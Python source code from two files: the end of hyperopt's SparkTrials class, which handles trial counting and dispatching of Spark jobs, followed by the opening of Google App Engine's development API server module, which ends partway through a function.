return self.count_by_state_unsynced(base.JOB_STATE_ERROR)
def count_cancelled_trials(self):
"""
Returns the current number of cancelled trial runs.
This covers trials which are cancelled from exceeding the timeout.
"""
return self.count_by_state_unsynced(base.JOB_STATE_CANCEL)
def count_total_trials(self):
"""
Returns the current number of all successful, failed, and cancelled trial runs
"""
total_states = [base.JOB_STATE_DONE, base.JOB_STATE_ERROR, base.JOB_STATE_CANCEL]
return self.count_by_state_unsynced(total_states)
def delete_all(self):
"""
Reset the Trials to init state
"""
super(SparkTrials, self).delete_all()
self._fmin_cancelled = False
self._fmin_cancelled_reason = None
def trial_attachments(self, trial):
raise NotImplementedError("SparkTrials does not support trial attachments.")
def fmin(self, fn, space, algo, max_evals,
max_queue_len,
rstate,
verbose,
pass_expr_memo_ctrl,
catch_eval_exceptions,
return_argmin,
show_progressbar,
):
"""
This should not be called directly but is called via :func:`hyperopt.fmin`
Refer to :func:`hyperopt.fmin` for docs on each argument
"""
assert not pass_expr_memo_ctrl, "SparkTrials does not support `pass_expr_memo_ctrl`"
assert not catch_eval_exceptions, "SparkTrials does not support `catch_eval_exceptions`"
state = _SparkFMinState(self._spark_context, fn, space, self)
# Will launch a dispatcher thread which runs each trial task as one spark job.
state.launch_dispatcher()
try:
res = fmin(fn, space, algo, max_evals,
max_queue_len=max_queue_len,
trials=self,
allow_trials_fmin=False, # -- prevent recursion
rstate=rstate,
pass_expr_memo_ctrl=None, # not support
catch_eval_exceptions=catch_eval_exceptions,
verbose=verbose,
return_argmin=return_argmin,
points_to_evaluate=None, # not support
show_progressbar=show_progressbar)
except BaseException as e:
logger.debug("fmin thread exits with an exception raised.")
raise e
else:
logger.debug("fmin thread exits normally.")
return res
finally:
state.wait_for_all_threads()
logger.info("Total Trials: {t}: {s} succeeded, {f} failed, {c} cancelled.".format(
t=self.count_total_trials(),
s=self.count_successful_trials(),
f=self.count_failed_trials(),
c=self.count_cancelled_trials()
))
class _SparkFMinState:
"""
Class for managing threads which run concurrent Spark jobs.
This maintains a primary dispatcher thread, plus 1 thread per Hyperopt trial.
Each trial's thread runs 1 Spark job with 1 task.
"""
def __init__(self,
spark_context,
eval_function,
space,
trials):
self.spark_context = spark_context
self.eval_function = eval_function
self.space = space
self.trials = trials
self._fmin_done = False
self._dispatcher_thread = None
self._task_threads = set()
if self.trials._spark_supports_job_cancelling:
self._job_group_id = spark_context.getLocalProperty("spark.jobGroup.id")
self._job_desc = spark_context.getLocalProperty("spark.job.description")
interrupt_on_cancel = spark_context.getLocalProperty("spark.job.interruptOnCancel")
if interrupt_on_cancel is None:
self._job_interrupt_on_cancel = False
else:
self._job_interrupt_on_cancel = "true" == interrupt_on_cancel.lower()
# In certain Spark deployments, the local property "spark.jobGroup.id" value is None,
# so we create one to use for SparkTrials.
if self._job_group_id is None:
self._job_group_id = "Hyperopt_SparkTrials_" + _get_random_id()
if self._job_desc is None:
self._job_desc = "Trial evaluation jobs launched by hyperopt fmin"
logger.debug("Job group id: {g}, job desc: {d}, job interrupt on cancel: {i}"
.format(g=self._job_group_id,
d=self._job_desc,
i=self._job_interrupt_on_cancel))
def running_trial_count(self):
return self.trials.count_by_state_unsynced(base.JOB_STATE_RUNNING)
@staticmethod
def _begin_trial_run(trial):
trial['state'] = base.JOB_STATE_RUNNING
now = coarse_utcnow()
trial['book_time'] = now
trial['refresh_time'] = now
logger.debug("trial task {tid} started".format(tid=trial['tid']))
def _finish_trial_run(self, is_success, is_cancelled, trial, data):
"""
Call this method when a trial evaluation finishes. It will save results to the trial object
and update task counters.
:param is_success: whether the trial succeeded
:param is_cancelled: whether the trial was cancelled
:param data: If the trial succeeded, this is the return value from the trial task function.
Otherwise, this is the exception raised when running the trial task.
"""
if is_cancelled:
logger.debug("trial task {tid} cancelled, exception is {e}"
.format(tid=trial['tid'], e=str(data)))
self._write_cancellation_back(trial, e=data)
elif is_success:
logger.debug("trial task {tid} succeeded, result is {r}"
.format(tid=trial['tid'], r=data))
self._write_result_back(trial, result=data)
else:
logger.debug("trial task {tid} failed, exception is {e}"
.format(tid=trial['tid'], e=str(data)))
self._write_exception_back(trial, e=data)
def launch_dispatcher(self):
def run_dispatcher():
start_time = timeit.default_timer()
while not self._fmin_done:
new_tasks = self._poll_new_tasks()
for trial in new_tasks:
self._run_trial_async(trial)
elapsed_time = timeit.default_timer() - start_time
# In the future, timeout checking logic could be moved to `fmin`.
# For now, timeouts are specific to SparkTrials.
# When a timeout happens:
# - Set `trials._fmin_cancelled` flag to be True.
# - FMinIter checks this flag and exits if it is set to True.
if self.trials.timeout is not None and elapsed_time > self.trials.timeout and\
not self.trials._fmin_cancelled:
self.trials._fmin_cancelled = True
self.trials._fmin_cancelled_reason = "fmin run timeout"
self._cancel_running_trials()
logger.warning("fmin cancelled because of " + self.trials._fmin_cancelled_reason)
time.sleep(1)
if self.trials._fmin_cancelled:
# Because cancelling fmin triggered, warn that the dispatcher won't launch
# more trial tasks.
logger.warning("fmin is cancelled, so new trials will not be launched.")
logger.debug("dispatcher thread exits normally.")
self._dispatcher_thread = threading.Thread(target=run_dispatcher)
self._dispatcher_thread.setDaemon(True)
self._dispatcher_thread.start()
@staticmethod
def _get_spec_from_trial(trial):
return base.spec_from_misc(trial['misc'])
@staticmethod
def _write_result_back(trial, result):
trial['state'] = base.JOB_STATE_DONE
trial['result'] = result
trial['refresh_time'] = coarse_utcnow()
@staticmethod
def _write_exception_back(trial, e):
trial['state'] = base.JOB_STATE_ERROR
trial['misc']['error'] = (str(type(e)), str(e))
trial['refresh_time'] = coarse_utcnow()
@staticmethod
def _write_cancellation_back(trial, e):
trial['state'] = base.JOB_STATE_CANCEL
trial['misc']['error'] = (str(type(e)), str(e))
trial['refresh_time'] = coarse_utcnow()
def _run_trial_async(self, trial):
def run_task_thread():
local_eval_function, local_space = self.eval_function, self.space
params = self._get_spec_from_trial(trial)
def run_task_on_executor(_):
domain = base.Domain(local_eval_function, local_space, pass_expr_memo_ctrl=None)
result = domain.evaluate(params, ctrl=None, attach_attachments=False)
yield result
try:
worker_rdd = self.spark_context.parallelize([0], 1)
if self.trials._spark_supports_job_cancelling:
result = worker_rdd.mapPartitions(run_task_on_executor).collectWithJobGroup(
self._job_group_id, self._job_desc, self._job_interrupt_on_cancel
)[0]
else:
result = worker_rdd.mapPartitions(run_task_on_executor).collect()[0]
except BaseException as e:
# I recommend to catch all exceptions here, it can make the program more robust.
# There're several possible reasons lead to raising exception here.
# so I use `except BaseException` here.
#
# If cancelled flag is set, it represent we need to cancel all running tasks,
# Otherwise it represent the task failed.
self._finish_trial_run(is_success=False, is_cancelled=self.trials._fmin_cancelled,
trial=trial, data=e)
logger.debug("trial {tid} task thread catches an exception and writes the "
"info back correctly."
.format(tid=trial['tid']))
else:
self._finish_trial_run(is_success=True, is_cancelled=self.trials._fmin_cancelled,
trial=trial, data=result)
logger.debug("trial {tid} task thread exits normally and writes results "
"back correctly."
.format(tid=trial['tid']))
task_thread = threading.Thread(target=run_task_thread)
task_thread.setDaemon(True)
task_thread.start()
self._task_threads.add(task_thread)
def _poll_new_tasks(self):
new_task_list = []
for trial in copy.copy(self.trials.trials):
if trial['state'] == base.JOB_STATE_NEW:
# check parallelism limit
if self.running_trial_count() >= self.trials.parallelism:
break
new_task_list.append(trial)
self._begin_trial_run(trial)
return new_task_list
def _cancel_running_trials(self):
if self.trials._spark_supports_job_cancelling:
logger.debug("Cancelling all running jobs in job group {g}"
.format(g=self._job_group_id))
self.spark_context.cancelJobGroup(self._job_group_id)
# Make a copy of trials by slicing
for trial in self.trials.trials[:]:
if trial['state'] in [base.JOB_STATE_NEW, base.JOB_STATE_RUNNING]:
trial['state'] = base.JOB_STATE_CANCEL
else:
logger.info("Because the current Apache PySpark version does not support "
"cancelling jobs by job group ID, SparkTrials will block until all of "
"its running Spark jobs finish.")
def wait_for_all_threads(self):
"""
Wait for the dispatcher and worker threads to finish.
:param cancel_running_trials: If true, try to cancel all running trials.
"""
self._fmin_done = True
self._dispatcher_thread.join()
self._dispatcher_thread = None
for task_thread in self._task_threads:
task_thread.join()
self._task_threads.clear()
|
api_server.py | #!/usr/bin/env python
#
# Copyright 2007 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""Serves the stub App Engine APIs (e.g. memcache, datastore) over HTTP.
The Remote API protocol is used for communication.
"""
import errno
import getpass
import itertools
import logging
import os
import pickle
import shutil
import sys
import tempfile
import threading
import time
import traceback
import urlparse
import google
import yaml
from google.appengine.api import apiproxy_stub_map
from google.appengine.api import datastore
from google.appengine.api import datastore_file_stub
from google.appengine.api import mail_stub
from google.appengine.api import urlfetch_stub
from google.appengine.api import user_service_stub
from google.appengine.api.app_identity import app_identity_stub
from google.appengine.api.blobstore import blobstore_stub
from google.appengine.api.blobstore import file_blob_storage
from google.appengine.api.capabilities import capability_stub
from google.appengine.api.channel import channel_service_stub
from google.appengine.api.files import file_service_stub
from google.appengine.api.logservice import logservice_stub
from google.appengine.api.memcache import memcache_stub
from google.appengine.api.modules import modules_stub
from google.appengine.api.remote_socket import _remote_socket_stub
from google.appengine.api.search import simple_search_stub
from google.appengine.api.system import system_stub
from google.appengine.api.taskqueue import taskqueue_stub
from google.appengine.api.xmpp import xmpp_service_stub
from google.appengine.datastore import datastore_sqlite_stub
from google.appengine.datastore import datastore_stub_util
from google.appengine.datastore import datastore_v4_pb
from google.appengine.datastore import datastore_v4_stub
from google.appengine.ext.remote_api import remote_api_pb
from google.appengine.ext.remote_api import remote_api_services
from google.appengine.runtime import apiproxy_errors
from google.appengine.tools.devappserver2 import errors
from google.appengine.tools.devappserver2 import login
from google.appengine.tools.devappserver2 import metrics
from google.appengine.tools.devappserver2 import wsgi_server
# TODO: Remove this lock when stubs have been audited for thread
# safety.
GLOBAL_API_LOCK = threading.RLock()
# We don't want to support datastore_v4 everywhere, because users are supposed
# to use the Cloud Datastore API going forward, so we don't want to put these
# entries in remote_api_servers.SERVICE_PB_MAP. But for our own implementation
# of the Cloud Datastore API we need those methods to work when an instance
# issues them, specifically the DatstoreApiServlet running as a module inside
# the app we are running. The consequence is that other app code can also
# issue datastore_v4 API requests, but since we don't document these requests
# or export them through any language bindings this is unlikely in practice.
_DATASTORE_V4_METHODS = {
'AllocateIds': (datastore_v4_pb.AllocateIdsRequest,
datastore_v4_pb.AllocateIdsResponse),
'BeginTransaction': (datastore_v4_pb.BeginTransactionRequest,
datastore_v4_pb.BeginTransactionResponse),
'Commit': (datastore_v4_pb.CommitRequest,
datastore_v4_pb.CommitResponse),
'ContinueQuery': (datastore_v4_pb.ContinueQueryRequest,
datastore_v4_pb.ContinueQueryResponse),
'Lookup': (datastore_v4_pb.LookupRequest,
datastore_v4_pb.LookupResponse),
'Rollback': (datastore_v4_pb.RollbackRequest,
datastore_v4_pb.RollbackResponse),
'RunQuery': (datastore_v4_pb.RunQueryRequest,
datastore_v4_pb.RunQueryResponse),
}
# TODO: Remove after the Files API is really gone.
_FILESAPI_USE_TRACKER = None
_FILESAPI_ENABLED = True
def enable_filesapi_tracking(request_data):
"""Turns on per-request tracking of Files API use.
Args:
request_data: An object with a set_filesapi_used(request_id) method to
track Files API use.
"""
global _FILESAPI_USE_TRACKER
_FILESAPI_USE_TRACKER = request_data
def set_filesapi_enabled(enabled):
"""Enables or disables the Files API."""
global _FILESAPI_ENABLED
_FILESAPI_ENABLED = enabled
def _execute_request(request, use_proto3=False):
"""Executes an API method call and returns the response object.
Args:
request: A remote_api_pb.Request object representing the API call e.g. a
call to memcache.Get.
use_proto3: A boolean representing is request is in proto3.
Returns:
A ProtocolBuffer.ProtocolMessage representing the API response e.g. a
memcache_service_pb.MemcacheGetResponse.
Raises:
apiproxy_errors.CallNotFoundError: if the requested method doesn't exist.
apiproxy_errors.ApplicationError: if the API method calls fails.
"""
if use_proto3:
service = request.service_name
method = request.method
if request.request_id:
request_id = request.request_id
else:
logging.error('Received a request without request_id: %s', request)
request_id = None
else:
service = request.service_name()
method = request.method()
if request.has_request_id():
request_id = request.request_id()
else:
logging.error('Received a request without request_id: %s', request)
request_id = None
service_methods = (_DATASTORE_V4_METHODS if service == 'datastore_v4'
else remote_api_services.SERVICE_PB_MAP.get(service, {}))
# We do this rather than making a new map that is a superset of
# remote_api_services.SERVICE_PB_MAP because that map is not initialized
# all in one place, so we would have to be careful about where we made
# our new map.
request_class, response_class = service_methods.get(method, (None, None))
if not request_class:
raise apiproxy_errors.CallNotFoundError('%s.%s does not exist' % (service,
method))
# TODO: Remove after the Files API is really gone.
if not _FILESAPI_ENABLED and service == 'file':
raise apiproxy_errors.CallNotFoundError(
'Files API method %s.%s is disabled. Further information: '
'https://cloud.google.com/appengine/docs/deprecations/files_api'
% (service, method))
request_data = request_class()
if use_proto3:
request_data.ParseFromString(request.request)
else:
request_data.ParseFromString(request.request())
response_data = response_class()
service_stub = apiproxy_stub_map.apiproxy.GetStub(service)
def make_request():
# TODO: Remove after the Files API is really gone.
if (_FILESAPI_USE_TRACKER is not None
and service == 'file' and request_id is not None):
_FILESAPI_USE_TRACKER.set_filesapi_used(request_id)
service_stub.MakeSyncCall(service,
method,
request_data,
response_data,
request_id)
# If the service has not declared itself as threadsafe acquire
# GLOBAL_API_LOCK.
if service_stub.THREADSAFE:
make_request()
else:
with GLOBAL_API_LOCK:
make_request()
metrics.GetMetricsLogger().LogOnceOnStop(
metrics.API_STUB_USAGE_CATEGORY,
metrics.API_STUB_USAGE_ACTION_TEMPLATE % service)
return response_data
class GRPCAPIServer(object):
"""Serves API calls over GPC."""
def __init__(self, port):
self._port = port
self._stop = False
self._server = None
def _start_server(self):
"""Starts gRPC API server."""
grpc_service_pb2 = __import__('google.appengine.tools.devappserver2.'
'grpc_service_pb2', globals(), locals(),
['grpc_service_pb2'])
class CallHandler(grpc_service_pb2.BetaCallHandlerServicer):
"""Handles gRPC method calls."""
def HandleCall(self, request, context):
api_response = _execute_request(request, use_proto3=True)
response = grpc_service_pb2.Response(response=api_response.Encode())
return response
self._server = grpc_service_pb2.beta_create_CallHandler_server(
CallHandler())
# add_insecure_port() returns positive port number when port allocation is
# successful. Otherwise it returns 0, and we handle the exception in start()
# from the caller thread.
# 'localhost' works with both ipv4 and ipv6.
self._port = self._server.add_insecure_port('localhost:' + str(self._port))
os.environ['GRPC_PORT'] = str(self._port)
if self._port:
logging.info('Starting GRPC_API_server at: http://localhost:%d',
self._port)
self._server.start()
def start(self):
with threading.Lock():
self._server_thread = threading.Thread(target=self._start_server)
self._server_thread.start()
self._server_thread.join()
if not self._port:
raise errors.GrpcPortError('Error assigning grpc api port!')
def quit(self):
logging.info('Keyboard interrupting grpc_api_server')
self._server.stop(0)
class APIServer(wsgi_server.WsgiServer):
"""Serves API calls over HTTP."""
def __init__(self, host, port, app_id):
self._app_id = app_id
self._host = host
super(APIServer, self).__init__((host, port), self)
self.set_balanced_address('localhost:8080')
def start(self):
"""Start the API Server."""
super(APIServer, self).start()
logging.info('Starting API server at: http://%s:%d', self._host, self.port)
def quit(self):
cleanup_stubs()
super(APIServer, self).quit()
def set_balanced_address(self, balanced_address):
"""Sets the balanced address from the dispatcher (e.g. "localhost:8080").
This is used to enable APIs to build valid URLs.
Args:
balanced_address: string address of the balanced HTTP server.
"""
self._balanced_address = balanced_address
def _handle_POST(self, environ, start_response):
start_response('200 OK', [('Content-Type', 'application/octet-stream')])
start_time = time.time()
response = remote_api_pb.Response()
try:
request = remote_api_pb.Request()
# NOTE: Exceptions encountered when parsing the PB or handling the request
# will be propagated back to the caller the same way as exceptions raised
# by the actual API call.
if environ.get('HTTP_TRANSFER_ENCODING') == 'chunked':
# CherryPy concatenates all chunks when 'wsgi.input' is read but v3.2.2
# will not return even when all of the data in all chunks has been
# read. See: https://bitbucket.org/cherrypy/cherrypy/issue/1131.
wsgi_input = environ['wsgi.input'].read(2**32)
else:
wsgi_input = environ['wsgi.input'].read(int(environ['CONTENT_LENGTH']))
request.ParseFromString(wsgi_input)
if request.has_request_id():
request_id = request.request_id()
service = request.service_name()
service_stub = apiproxy_stub_map.apiproxy.GetStub(service)
environ['HTTP_HOST'] = self._balanced_address
op = getattr(service_stub.request_data, 'register_request_id', None)
if callable(op):
op(environ, request_id)
api_response = _execute_request(request).Encode()
response.set_response(api_response)
except Exception, e:
if isinstance(e, apiproxy_errors.ApplicationError):
level = logging.DEBUG
application_error = response.mutable_application_error()
application_error.set_code(e.application_error)
application_error.set_detail(e.error_detail)
else:
# If the runtime instance is not Python, it won't be able to unpickle
# the exception so use level that won't be ignored by default.
level = logging.ERROR
# Even if the runtime is Python, the exception may be unpicklable if
# it requires importing a class blocked by the sandbox so just send
# back the exception representation.
# But due to our use of the remote API, at least some apiproxy errors
# are generated in the Dev App Server main instance and not in the
# language runtime and wrapping them causes different behavior from
# prod so don't wrap them.
if not isinstance(e, apiproxy_errors.Error):
e = RuntimeError(repr(e))
# While not strictly necessary for ApplicationError, do this to limit
# differences with remote_api:handler.py.
response.set_exception(pickle.dumps(e))
logging.log(level, 'Exception while handling %s\n%s', request,
traceback.format_exc())
encoded_response = response.Encode()
logging.debug('Handled %s.%s in %0.4f',
request.service_name(),
request.method(),
time.time() - start_time)
return [encoded_response]
def _handle_GET(self, environ, start_response):
params = urlparse.parse_qs(environ['QUERY_STRING'])
rtok = params.get('rtok', ['0'])[0]
start_response('200 OK', [('Content-Type', 'text/plain')])
return [yaml.dump({'app_id': self._app_id,
'rtok': rtok})]
def __call__(self, environ, start_response):
if environ['REQUEST_METHOD'] == 'GET':
return self._handle_GET(environ, start_response)
elif environ['REQUEST_METHOD'] == 'POST':
return self._handle_POST(environ, start_response)
else:
start_response('405 Method Not Allowed', [])
return []
def create_api_server(request_info, storage_path, options, configuration):
"""Creates an API server.
Args:
request_info: An apiproxy_stub.RequestInfo instance used by the stubs to
lookup information about the request associated with an API call.
storage_path: A string directory for storing API stub data.
options: An instance of argparse.Namespace containing command line flags.
configuration: An instance of
application_configuration.ApplicationConfiguration for configuring API
stub settings.
Returns:
An instance of APIServer.
"""
datastore_path = options.datastore_path or os.path.join(
storage_path, 'datastore.db')
logs_path = options.logs_path or os.path.join(storage_path, 'logs.db')
search_index_path = options.search_indexes_path or os.path.join(
storage_path, 'search_indexes')
blobstore_path = options.blobstore_path or os.path.join(
storage_path, 'blobs')
if options.clear_datastore:
_clear_datastore_storage(datastore_path)
if options.clear_search_indexes:
_clear_search_indexes_storage(search_index_path)
if options.auto_id_policy == datastore_stub_util.SEQUENTIAL:
logging.warn("--auto_id_policy='sequential' is deprecated. This option "
"will be removed in a future release.")
application_address = '%s' % options.host
if options.port and options.port != 80:
application_address += ':' + str(options.port)
user_login_url = '/%s?%s=%%s' % (
login.LOGIN_URL_RELATIVE, login.CONTINUE_PARAM)
user_logout_url = '%s&%s=%s' % (
user_login_url, login.ACTION_PARAM, login.LOGOUT_ACTION)
if options.datastore_consistency_policy == 'time':
consistency = datastore_stub_util.TimeBasedHRConsistencyPolicy()
elif options.datastore_consistency_policy == 'random':
consistency = datastore_stub_util.PseudoRandomHRConsistencyPolicy()
elif options.datastore_consistency_policy == 'consistent':
consistency = datastore_stub_util.PseudoRandomHRConsistencyPolicy(1.0)
else:
assert 0, ('unknown consistency policy: %r' %
options.datastore_consistency_policy)
maybe_convert_datastore_file_stub_data_to_sqlite(
configuration.app_id, datastore_path)
setup_stubs(
request_data=request_info,
app_id=configuration.app_id,
application_root=configuration.modules[0].application_root,
# The "trusted" flag is only relevant for Google administrative
# applications.
trusted=getattr(options, 'trusted', False),
appidentity_email_address=options.appidentity_email_address,
appidentity_private_key_path=os.path.abspath(
options.appidentity_private_key_path)
if options.appidentity_private_key_path else None,
blobstore_path=blobstore_path,
datastore_path=datastore_path,
datastore_consistency=consistency,
datastore_require_indexes=options.require_indexes,
datastore_auto_id_policy=options.auto_id_policy,
images_host_prefix='http://%s' % application_address,
logs_path=logs_path,
mail_smtp_host=options.smtp_host,
mail_smtp_port=options.smtp_port,
mail_smtp_user=options.smtp_user,
mail_smtp_password=options.smtp_password,
mail_enable_sendmail=options.enable_sendmail,
mail_show_mail_body=options.show_mail_body,
mail_allow_tls=options.smtp_allow_tls,
search_index_path=search_index_path,
taskqueue_auto_run_tasks=options.enable_task_running,
taskqueue_default_http_server=application_address,
user_login_url=user_login_url,
user_logout_url=user_logout_url,
default_gcs_bucket_name=options.default_gcs_bucket_name,
appidentity_oauth_url=options.appidentity_oauth_url)
return APIServer(options.api_host, options.api_port, configuration.app_id)
def _clear_datastore_storage(datastore_path):
"""Delete the datastore storage file at the given path."""
# lexists() returns True for broken symlinks, where exists() returns False.
if os.path.lexists(datastore_path):
try:
os.remove(datastore_path)
except OSError, err:
logging.warning(
'Failed to remove datastore file %r: %s', datastore_path, err)
def _clear_search_indexes_storage(search_index_path):
"""Delete the search indexes storage file at the given path."""
# lexists() returns True for broken symlinks, where exists() returns False.
if os.path.lexists(search_index_path):
try:
os.remove(search_index_path)
except OSError, err:
logging.warning(
'Failed to remove search indexes file %r: %s', search_index_path, err)
def get_storage_path(path, app_id):
"""Returns a path to the directory where stub data can be stored."""
_, _, app_id = app_id.replace(':', '_').rpartition('~')
if path is None:
for path in _generate_storage_paths(app_id):
try:
os.mkdir(path, 0700)
except OSError, err:
if err.errno == errno.EEXIST:
# Check that the directory is only accessable by the current user to
# protect against an attacker creating the directory in advance in
# order to access any created files. Windows has per-user temporary
# directories and st_mode does not include per-user permission
# information so assume that it is safe.
if sys.platform == 'win32' or (
(os.stat(path).st_mode & 0777) == 0700 and os.path.isdir(path)):
return path
else:
continue
raise
else:
return path
elif not os.path.exists(path):
os.mkdir(path)
return path
elif not os.path.isdir(path):
raise IOError('the given storage path %r is a file, a directory was '
'expected' % path)
else:
return path
def _generate_storage_paths(app_id):
"""Yield an infinite sequence of possible storage paths."""
if sys.platform == 'win32':
# The temp directory is per-user on Windows so there is no reason to add
# the username to the generated directory name.
user_format = ''
else:
try:
user_name = getpass.getuser()
except Exception: # pylint: disable=broad-except
# The possible set of exceptions is not documented.
user_format = ''
else:
user_format = '.%s' % user_name
tempdir = tempfile.gettempdir()
yield os.path.join(tempdir, 'appengine.%s%s' % (app_id, user_format))
for i in itertools.count(1):
yield os.path.join(tempdir, 'appengine.%s%s.%d' % (app_id, user_format, i))
def setup_stubs(
request_data,
app_id,
application_root,
trusted,
appidentity_email_address,
appidentity_private_key_path,
blobstore_path,
datastore_consistency,
datastore_path,
datastore_require_indexes,
datastore_auto_id_policy,
images_host_prefix,
logs_path,
mail_smtp_host,
mail_smtp_port,
mail_smtp_user,
mail_smtp_password,
mail_enable_sendmail,
mail_show_mail_body,
mail_allow_tls,
search_index_path,
taskqueue_auto_run_tasks,
taskqueue_default_http_server,
user_login_url,
user_logout_url,
default_gcs_bucket_name,
appidentity_oauth_url=None):
"""Configures the APIs hosted by this server.
Args:
request_data: An apiproxy_stub.RequestInformation instance used by the
stubs to lookup information about the request associated with an API
call.
app_id: The str application id e.g. "guestbook".
application_root: The path to the directory containing the user's
application e.g. "/home/joe/myapp".
trusted: A bool indicating if privileged APIs should be made available.
appidentity_email_address: Email address associated with a service account
that has a downloadable key. May be None for no local application
identity.
appidentity_private_key_path: Path to private key file associated with
service account (.pem format). Must be set if appidentity_email_address
is set.
blobstore_path: The path to the file that should be used for blobstore
storage.
datastore_consistency: The datastore_stub_util.BaseConsistencyPolicy to
use as the datastore consistency policy.
datastore_path: The path to the file that should be used for datastore
storage.
datastore_require_indexes: A bool indicating if the same production
datastore indexes requirements should be enforced i.e. if True then
a google.appengine.ext.db.NeedIndexError will be be raised if a query
is executed without the required indexes.
datastore_auto_id_policy: The type of sequence from which the datastore
stub assigns auto IDs, either datastore_stub_util.SEQUENTIAL or
datastore_stub_util.SCATTERED.
images_host_prefix: The URL prefix (protocol://host:port) to prepend to
image urls on calls to images.GetUrlBase.
logs_path: Path to the file to store the logs data in.
mail_smtp_host: The SMTP hostname that should be used when sending e-mails.
If None then the mail_enable_sendmail argument is considered.
mail_smtp_port: The SMTP port number that should be used when sending
e-mails. If this value is None then mail_smtp_host must also be None.
mail_smtp_user: The username to use when authenticating with the
SMTP server. This value may be None if mail_smtp_host is also None or if
the SMTP server does not require authentication.
mail_smtp_password: The password to use when authenticating with the
SMTP server. This value may be None if mail_smtp_host or mail_smtp_user
is also None.
mail_enable_sendmail: A bool indicating if sendmail should be used when
sending e-mails. This argument is ignored if mail_smtp_host is not None.
mail_show_mail_body: A bool indicating whether the body of sent e-mails
should be written to the logs.
mail_allow_tls: A bool indicating whether TLS should be allowed when
communicating with an SMTP server. This argument is ignored if
mail_smtp_host is None.
search_index_path: The path to the file that should be used for search index
storage.
taskqueue_auto_run_tasks: A bool indicating whether taskqueue tasks should
be run automatically or it the must be manually triggered.
taskqueue_default_http_server: A str containing the address of the http
server that should be used to execute tasks.
user_login_url: A str containing the url that should be used for user login.
user_logout_url: A str containing the url that should be used for user
logout.
default_gcs_bucket_name: A str, overriding the default bucket behavior.
appidentity_oauth_url: A str containing the url to the oauth2 server to use
to authenticate the private key. If set to None, then the standard
google oauth2 server is used.
"""
identity_stub = app_identity_stub.AppIdentityServiceStub.Create(
email_address=appidentity_email_address,
private_key_path=appidentity_private_key_path,
oauth_url=appidentity_oauth_url)
if default_gcs_bucket_name is not None:
identity_stub.SetDefaultGcsBucketName(default_gcs_bucket_name)
apiproxy_stub_map.apiproxy.RegisterStub('app_identity_service', identity_stub)
blob_storage = file_blob_storage.FileBlobStorage(blobstore_path, app_id)
apiproxy_stub_map.apiproxy.RegisterStub(
'blobstore',
blobstore_stub.BlobstoreServiceStub(blob_storage,
request_data=request_data))
apiproxy_stub_map.apiproxy.RegisterStub(
'capability_service',
capability_stub.CapabilityServiceStub())
apiproxy_stub_map.apiproxy.RegisterStub(
'channel',
channel_service_stub.ChannelServiceStub(request_data=request_data))
datastore_stub = datastore_sqlite_stub.DatastoreSqliteStub(
app_id,
datastore_path,
datastore_require_indexes,
trusted,
root_path=application_root,
auto_id_policy=datastore_auto_id_policy)
datastore_stub.SetConsistencyPolicy(datastore_consistency)
apiproxy_stub_map.apiproxy.ReplaceStub(
'datastore_v3', datastore_stub)
apiproxy_stub_map.apiproxy.RegisterStub(
'datastore_v4',
datastore_v4_stub.DatastoreV4Stub(app_id))
apiproxy_stub_map.apiproxy.RegisterStub(
'file',
file_service_stub.FileServiceStub(blob_storage))
try:
from google.appengine.api.images import images_stub
except ImportError:
# We register a stub which throws a NotImplementedError for most RPCs.
from google.appengine.api.images import images_not_implemented_stub
apiproxy_stub_map.apiproxy.RegisterStub(
'images',
images_not_implemented_stub.ImagesNotImplementedServiceStub(
host_prefix=images_host_prefix))
else:
apiproxy_stub_map.apiproxy.RegisterStub(
'images',
images_stub.ImagesServiceStub(host_prefix=images_host_prefix))
apiproxy_stub_map.apiproxy.RegisterStub(
'logservice',
logservice_stub.LogServiceStub(logs_path=logs_path))
apiproxy_stub_map.apiproxy.RegisterStub(
'mail',
mail_stub.MailServiceStub(mail_smtp_host,
mail_smtp_port,
mail_smtp_user,
mail_smtp_password,
enable_sendmail=mail_enable_sendmail,
show_mail_body=mail_show_mail_body,
allow_tls=mail_allow_tls))
apiproxy_stub_map.apiproxy.RegisterStub(
'memcache',
memcache_stub.MemcacheServiceStub())
apiproxy_stub_map.apiproxy.RegisterStub(
'search',
simple_search_stub.SearchServiceStub(index_file=search_index_path))
apiproxy_stub_map.apiproxy.RegisterStub(
'modules',
modules_stub.ModulesServiceStub(request_data))
apiproxy_stub_map.apiproxy.RegisterStub(
'system',
system_stub.SystemServiceStub(request_data=request_data))
apiproxy_stub_map.apiproxy.RegisterStub(
'taskqueue',
taskqueue_stub.TaskQueueServiceStub(
root_path=application_root,
auto_task_running=taskqueue_auto_run_tasks,
default_http_server=taskqueue_default_http_server,
request_data=request_data))
apiproxy_stub_map.apiproxy.GetStub('taskqueue').StartBackgroundExecution()
apiproxy_stub_map.apiproxy.RegisterStub(
'urlfetch',
urlfetch_stub.URLFetchServiceStub())
apiproxy_stub_map.apiproxy.RegisterStub(
'user',
user_service_stub.UserServiceStub(login_url=user_login_url,
logout_url=user_logout_url,
request_data=request_data))
apiproxy_stub_map.apiproxy.RegisterStub(
'xmpp',
xmpp_service_stub.XmppServiceStub())
apiproxy_stub_map.apiproxy.RegisterStub(
'remote_socket',
_remote_socket_stub.RemoteSocketServiceStub())
def maybe_convert_datastore_file_stub_data_to_sqlite(app_id, filename):
if not os.access(filename, os.R_OK | os.W_OK):
return
try:
with open(filename, 'rb') as f:
if f.read(16) == 'SQLite format 3\x00':
return
except (IOError, OSError):
return
try:
_convert_datastore_file_stub_data_to_sqlite(app_id, filename)
except:
logging.exception('Failed to convert datastore file stub data to sqlite.')
raise
def _convert_datastore_file_stub_data_to_sqlite(app_id, datastore_path):
logging.info('Converting datastore stub data to sqlite.')
previous_stub = apiproxy_stub_map.apiproxy.GetStub('datastore_v3')
try:
apiproxy_stub_map.apiproxy = apiproxy_stub_map.APIProxyStubMap()
datastore_stub = datastore_file_stub.DatastoreFileStub(
app_id, datastore_path, trusted=True, save_changes=False)
apiproxy_stub_map.apiproxy.RegisterStub('datastore_v3', datastore_stub)
entities = _fetch_all_datastore_entities()
sqlite_datastore_stub = datastore_sqlite_stub.DatastoreSqliteStub(
app_id, datastore_path + '.sqlite', trusted=True)
apiproxy_stub_map.apiproxy.ReplaceStub('datastore_v3',
